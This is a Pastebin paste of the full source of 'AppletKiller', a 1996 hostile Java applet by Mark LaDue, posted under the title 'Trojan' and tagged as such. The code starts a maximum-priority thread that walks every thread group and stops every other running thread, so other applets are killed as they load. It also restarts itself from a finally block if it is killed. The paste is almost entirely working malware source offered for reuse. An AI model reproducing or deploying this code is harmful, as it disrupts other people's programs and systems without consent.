Advertisement
FlyFar

Trojan.Java.AppletKiller - Source Code

Mar 21st, 2023
719
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.79 KB | Cybersecurity | 0 0
  1. /*  AppletKiller.java by Mark D. LaDue */
  2.  
  3. /*  April 1, 1996  */
  4.  
  5. /*  Copyright (c) 1996 Mark D. LaDue
  6.     You may study, use, modify, and distribute this example for any purpose.
  7.     This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /*  This hostile applet stops any applets that are running and kills any
  10.     other applets that are downloaded. */
  11.  
  12. import java.applet.*;
  13. import java.awt.*;
  14. import java.io.*;
  15.  
  16. public class AppletKiller extends java.applet.Applet implements Runnable {
  17.     Thread killer;
  18.    
  19.     public void init() {
  20.         killer = null;
  21.     }
  22.  
  23.     public void start() {
  24.         if (killer == null) {
  25.             killer = new Thread(this,"killer");
  26.             killer.setPriority(Thread.MAX_PRIORITY);
  27.             killer.start();
  28.         }
  29.     }
  30.  
  31.     public void stop() {}    
  32.  
  33. // Kill all threads except this one
  34.  
  35.     public void run() {
  36.         try {
  37.             while (true) {
  38.                 ThreadKiller.killAllThreads();
  39.                 try { killer.sleep(100); }
  40.                 catch (InterruptedException e) {}
  41.             }
  42.         }
  43.         catch (ThreadDeath td) {}
  44.  
  45. // Resurrect the hostile thread in case of accidental ThreadDeath
  46.  
  47.         finally {
  48.             AppletKiller ack = new AppletKiller();
  49.             Thread reborn = new Thread(ack, "killer");
  50.             reborn.start();
  51.         }
  52.     }
  53. }
  54.  
  55. class ThreadKiller {
  56.  
  57. // Ascend to the root ThreadGroup and list all subgroups recursively,
  58. // killing all threads as we go
  59.  
  60.     public static void killAllThreads() {
  61.         ThreadGroup thisGroup;
  62.         ThreadGroup topGroup;
  63.         ThreadGroup parentGroup;
  64.        
  65. // Determine the current thread group
  66.         thisGroup = Thread.currentThread().getThreadGroup();
  67.        
  68. // Proceed to the top ThreadGroup
  69.         topGroup  = thisGroup;
  70.         parentGroup = topGroup.getParent();
  71.         while(parentGroup != null) {
  72.             topGroup  = parentGroup;
  73.             parentGroup = parentGroup.getParent();
  74.         }
  75. // Find all subgroups recursively
  76.         findGroups(topGroup);
  77.     }
  78.    
  79.     private static void findGroups(ThreadGroup g) {
  80.         if (g == null) {return;}
  81.         else {
  82.         int numThreads = g.activeCount();
  83.         int numGroups = g.activeGroupCount();
  84.         Thread[] threads = new Thread[numThreads];
  85.         ThreadGroup[] groups = new ThreadGroup[numGroups];
  86.         g.enumerate(threads, false);
  87.         g.enumerate(groups, false);
  88.         for (int i = 0; i < numThreads; i++)
  89.             killOneThread(threads[i]);
  90.         for (int i = 0; i < numGroups; i++)
  91.             findGroups(groups[i]);
  92.         }
  93.     }
  94.  
  95.     private static void killOneThread(Thread t) {
  96.         if (t == null || t.getName().equals("killer")) {return;}
  97.         else {t.stop();}
  98.     }
  99. }
Tags: Java trojan
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement